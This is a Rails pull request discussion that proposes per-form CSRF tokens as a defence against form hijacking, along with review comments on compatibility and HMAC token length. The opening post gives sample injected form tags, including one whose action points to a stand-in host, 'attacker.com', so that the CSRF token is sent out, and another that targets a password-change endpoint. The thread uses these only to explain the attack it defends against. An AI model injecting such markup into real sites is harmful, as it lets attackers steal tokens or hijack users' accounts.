Per-form CSRF tokens

[btoews]

For sites using CSP, one of the biggest risks of content-injection is form hijacking. For example, on a page like

<!-- some xss vulnerability here -->
<form method="post" action="/innocuous">
 <input type="hidden" name="authenticity_token" value="thetoken">
</form>

an attacker can inject their own unclosed form tag.

<form method="post" action="//attacker.com/tokens"><!-- xss -->
<form method="post" action="/innocuous">
 <input type="hidden" name="authenticity_token" value="thetoken">
</form>

Because nested form elements aren't allowed in HTML, the attacker's tag will supersede the legitimate one and inherit its CSRF token input tag. If the form is submitted, the CSRF token will go to attacker.com.

This can be largely mitigated by using CSP with the form-action directive, to specify that forms cannot be posted cross-origin. An attacker with a content-injection vulnerability is then limited to hijacking forms to make same-origin requests. This can unfortunately still be quite impactful:

<form method="post" action="/user/change_password"><!-- xss -->
<form method="post" action="/innocuous">
 <input type="hidden" name="authenticity_token" value="thetoken">
</form>

One mitigation for this kind of attack is to require that every form tag have a nonce that matches a value in some meta tag. We currently implement this method at GitHub using JavaScript to detect/delete injected form tags. w3c/webappsec-csp#20 is a proposal to add this mitigation to CSP itself.

Another mitigation would be to have each CSRF token be valid only for the method/action of the form it was included in. We wrote an implementation of this for our fork of Rails and would like to forwardport/upstream the feature if there is interest. Unfortunately, the BREACH mitigation we wrote (#16570 took too long) is fairly different from the upstream one and our per-form CSRF token changes don't apply cleanly.

The questions I have for @rails/security are:

1. The attack described here is very niche. Is this worth upstreaming?
2. Would you want it to be backwards compatible (are API changes okay)?

If it's deemed worthwhile, I'll be happy to try to port our changes to this branch, but I wanted to ask before putting in the effort. f9a1bfb lays much of the groundwork by passing the form method/action to form_authenticity_token. Even if per-form CSRF tokens aren't added to mainstream Rails, we'd love to see that commit merged to reduce the monkey patching required for our implementation and to make it easier for others to implement themselves.

/cc @ptoomey3 @oreoshake @gregose
Further reading on CSP bypasses: http://lcamtuf.coredump.cx/postxss/ http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/

[rails-bot]

Thanks for the pull request, and welcome! The Rails team is excited to review your changes, and you should hear from @rafaelfranca (or someone else) soon.

If any changes to this PR are deemed necessary, please add them as extra commits. This ensures that the reviewer can see what has changed since they last reviewed the code. Due to the way GitHub handles out-of-date commits, this should also make it reasonably obvious what issues have or haven't been addressed. Large or tricky changes may require several passes of review and changes.

Please see the contribution instructions for more information.

[rafaelfranca]

cc @rails/security

[jeremy]

Nice—definitely worth upstreaming! Preserving compatibility is a priority, though. Perhaps checking form_authenticity_token arity is enough?

[jeremy]

Passing the form html options as keyword args would make it easy for others to do custom tokens and give some measure of forward-compat.

[btoews]

Nice—definitely worth upstreaming! Preserving compatibility is a priority, though. Perhaps checking form_authenticity_token arity is enough?

Okay. I pushed up my initial spike at per-form tokens (61506e4). It feels pretty hacky adding it with the current APIs. I was kind of hoping you didn't care about backwards compatibility 😉.

I'll work on cleaning this up and adding tests over the next couple days.

[timbreitkreutz]

1.9 syntax?

token_tag(authenticity_token, form_options: {
  action: html_options["action"],
  method: "post"
}

[btoews]

After significant debugging (resulting in #22402), I got some simple tests written for this feature. I'll work on testing edge cases tomorrow.

[pixeltrix]

@mastahyeti @jeremy in #21948 we discussed using a permanent cookie for CSRF tokens - this PR will obviously complicate things if we wanted to go down that route.

[btoews]

@pixeltrix This PR shouldn't be complicated by using a permanent cookie for storing the CSRF token. That change would probably just be to #real_csrf_token, changing it to grab the raw token value from a different place.

[btoews]

@jeremy I've written a number of tests and am feeling good about this branch. I'd love a set of 👀 when you have a chance.

[reedloden]

Any updates on this? Would love to have this functionality. Great improvement to security over the current CSRF implementation.

[filedescriptor]

Just so you guys aren't convinced yet, here's a real attack against Twitter https://blog.innerht.ml/csp-2015/

[reedloden]

Controls

[rafaelfranca]

@mastahyeti Just a minor comments to be addressed and we are good to go. Also don't forget to add a CHANGELOG entry and squash your commits

[ptoomey3]

Minor nit. It happens that AUTHENTICITY_TOKEN_LENGTH is currently half the length of a hex SHA256 digest output. So, it is technically fine, but also slightly fragile to changes in the future (ex. we update the implementation to use SHA3-384 in the future). Someone reading the comment in the future might think that this "up to half" calculation had been taken into account in AUTHENTICITY_TOKEN_LENGTH.

The per-form token needs to be the same size as a normal token to preserve the masking logic.

In theory this hmac implementation could do away with the xor based masking by incorporating the one-time-pad into the actual HMAC computation itself. That would free us from having to match the lengths. That said, I understand the appeal of having the lengths match for ease of implementation.

[ptoomey3]

Also...maybe I skimmed over the original code too quickly. But, it appears that if you used OpenSSL::HMAC.digest instead of OpenSSL::HMAC.hexdigest you could get away with the full hmac, no? The original implementation calls real_csrf_token in https://github.com/rails/rails/pull/22275/files#diff-c07f67f5a7946bbd9c38ba8283aea967R298. That call returns the result of a base64 decode in https://github.com/rails/rails/pull/22275/files#diff-c07f67f5a7946bbd9c38ba8283aea967R369. So, I think the original implementation ends up xoring the one time pad with 32 bytes of binary data. So, we may as well return 32 bytes of binary data rather than 32 hex characters.

[btoews]

Seems right. Not sure why I thought this needed to be hex. I might also add a test to ensure that the per-form token length is the same as AUTHENTICITY_TOKEN_LENGTH.

[btoews]

I addressed all the line comments from above. I also (kind of) squashed my commits. I ran into the same trouble squashing as in #22263 (comment) because of having merged in master a few times.

[rafaelfranca]

Awesome! Thank you so much.

[infoman]

If the attacker can insert arbitrary HTML in your forms, than you have more security issues than just sending form to undesired address. What if it's a login form and it's send to attacker's server? You can't do anything with the csrf token here, because the auth credentials already leaked and the attacker can just go and enter them, and the csrf token will be valid in that case.

[ptoomey3]

If the attacker can insert arbitrary HTML in your forms, than you have more security issues than just sending form to undesired address. What if it's a login form and it's send to attacker's server?

As noted at the top of this pull request, per-form csrf tokens are mostly beneficial for sites that have largely mitigated the types of attacks you mentioned. For example, CSP form-action would prevent the attack you cited. But, there are various "CSP bypasses" that may allow a csrf token to be exfiltrated. So, the idea here is to minimize the value in any one disclosure.